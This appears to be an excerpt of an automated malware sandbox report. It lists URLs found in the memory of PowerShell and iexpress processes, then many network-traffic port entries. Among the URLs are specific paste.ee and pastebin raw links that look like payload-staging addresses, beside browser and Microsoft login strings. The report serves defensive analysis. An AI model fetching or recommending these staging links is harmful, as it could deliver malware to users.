Source: iexpress.exe, 0000000C.00000003.1453378313.0000000007F9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 00000008.00000002.1098019416.0000015DA00F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000008.00000002.1098019416.0000015DA00F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000008.00000002.1098019416.0000015DA00F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: iexpress.exe, 0000000C.00000003.1453378313.0000000007F9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: iexpress.exe, 0000000C.00000003.1453378313.0000000007F9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabv20
Source: iexpress.exe, 0000000C.00000003.1453378313.0000000007F9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: powershell.exe, 00000007.00000002.1116297999.00000235004A9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1116297999.0000023501AE7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1116297999.000002350166F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1116297999.00000235003C8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D904D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D90503000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D90559000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D90633000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D906E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D9068D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D9070A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com
Source: powershell.exe, 00000007.00000002.1116297999.00000235004A9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1116297999.0000023501AE7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1116297999.000002350166F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1116297999.00000235003C8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D904D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D90503000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D90559000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D90633000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D906E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D9068D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D9070A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com;
Source: edb.log.13.dr, qmgr.db.13.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 0000000D.00000003.1216551466.0000017B06EE0000.00000004.00000800.00020000.00000000.sdmp, edb.log.13.dr, qmgr.db.13.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:
Source: iexpress.exe, 0000000C.00000003.1453378313.0000000007F9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gemini.google.com/app?q=
Source: powershell.exe, 00000008.00000002.1078118141.0000015D9192A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000007.00000002.1116297999.0000023501299000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: iexpress.exe, 0000000C.00000002.2227220889.0000000003159000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: iexpress.exe, 0000000C.00000002.2227220889.0000000003159000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: iexpress.exe, 0000000C.00000003.1447615394.0000000007F50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srfhttps://login.
Source: iexpress.exe, 0000000C.00000002.2227220889.0000000003159000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: iexpress.exe, 0000000C.00000002.2227220889.0000000003159000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: iexpress.exe, 0000000C.00000002.2227220889.0000000003159000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: iexpress.exe, 0000000C.00000002.2227220889.0000000003159000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: powershell.exe, 00000007.00000002.1170496094.0000023510073000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D91985000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1098019416.0000015DA00F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000008.00000002.1078118141.0000015D91593000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000008.00000002.1078118141.0000015D91593000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: powershell.exe, 00000007.00000002.1116297999.00000235003E5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1116297999.0000023501A60000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D9067C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee
Source: powershell.exe, 00000008.00000002.1078118141.0000015D9070A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/r/4
Source: powershell.exe, 00000008.00000002.1078118141.0000015D90559000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D9070A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/r/49ZDOxRT/0
Source: powershell.exe, 00000008.00000002.1078118141.0000015D9067C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D904EF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D90658000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/r/Iheui3WE/0
Source: powershell.exe, 00000008.00000002.1078118141.0000015D9067C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/r/Iheui3WE/0P
Source: powershell.exe, 00000007.00000002.1116297999.0000023501788000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1116297999.00000235016DE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1116297999.00000235003E5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1116297999.0000023501A60000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1116297999.00000235016B8000.00000004.00000800.00020000.00000000.sdmp, dll01.txt.7.dr	String found in binary or memory: https://paste.ee/r/eqs49sJc/0
Source: powershell.exe, 00000007.00000002.1116297999.00000235016B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/r/eqs49sJc/0P
Source: powershell.exe, 00000007.00000002.1116297999.0000023501A60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/r/eqs49sJc/0p
Source: powershell.exe, 00000008.00000002.1078118141.0000015D904EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.eeXI
Source: powershell.exe, 00000007.00000002.1116297999.0000023500222000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1116297999.000002350166A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D90592000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D902A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com
Source: powershell.exe, 00000008.00000002.1078118141.0000015D90592000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw
Source: powershell.exe, 00000008.00000002.1078118141.0000015D90592000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D902A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/XHtEkzdv
Source: powershell.exe, 00000007.00000002.1178028922.000002357A5B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/naAgdcTG
Source: powershell.exe, 00000007.00000002.1116297999.00000235004A9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1116297999.0000023501AE7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1116297999.000002350166F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1116297999.00000235003C8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D904D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D90503000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D90559000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D90633000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D906E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D9068D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D9070A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://secure.gravatar.com
Source: powershell.exe, 00000007.00000002.1116297999.00000235004A9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1116297999.0000023501AE7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1116297999.000002350166F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1116297999.00000235003C8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D904D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D90503000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D90559000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D90633000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D906E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D9068D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D9070A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://themes.googleusercontent.com
Source: iexpress.exe, 0000000C.00000003.1453378313.0000000007F9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/v20w
Source: powershell.exe, 00000007.00000002.1116297999.00000235004A9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1116297999.0000023501AE7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1116297999.000002350166F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1116297999.00000235003C8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D904D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D90503000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D90559000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D90633000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D906E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D9068D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D9070A000.00000004.00000800.00020000.00000000.sdmp, iexpress.exe, 0000000C.00000002.2231547950.0000000005936000.00000004.10000000.00040000.00000000.sdmp, DmMVOWsP1JSI77P.exe, 00000014.00000002.2230655033.00000000037F6000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: iexpress.exe, 0000000C.00000003.1453378313.0000000007F9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico
Source: powershell.exe, 00000007.00000002.1116297999.00000235004A9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1116297999.0000023501AE7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1116297999.000002350166F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1116297999.00000235003C8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D904D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D90503000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D90559000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D90633000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D906E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D9068D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D9070A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com;
Source: powershell.exe, 00000007.00000002.1116297999.00000235004A9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1116297999.0000023501AE7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1116297999.000002350166F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1116297999.00000235003C8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D904D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D90503000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D90559000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D90633000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D906E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D9068D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1078118141.0000015D9070A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49693 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
